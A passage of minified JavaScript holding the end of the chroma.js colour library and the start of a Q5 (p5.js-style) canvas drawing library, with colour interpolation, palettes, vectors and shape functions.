hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
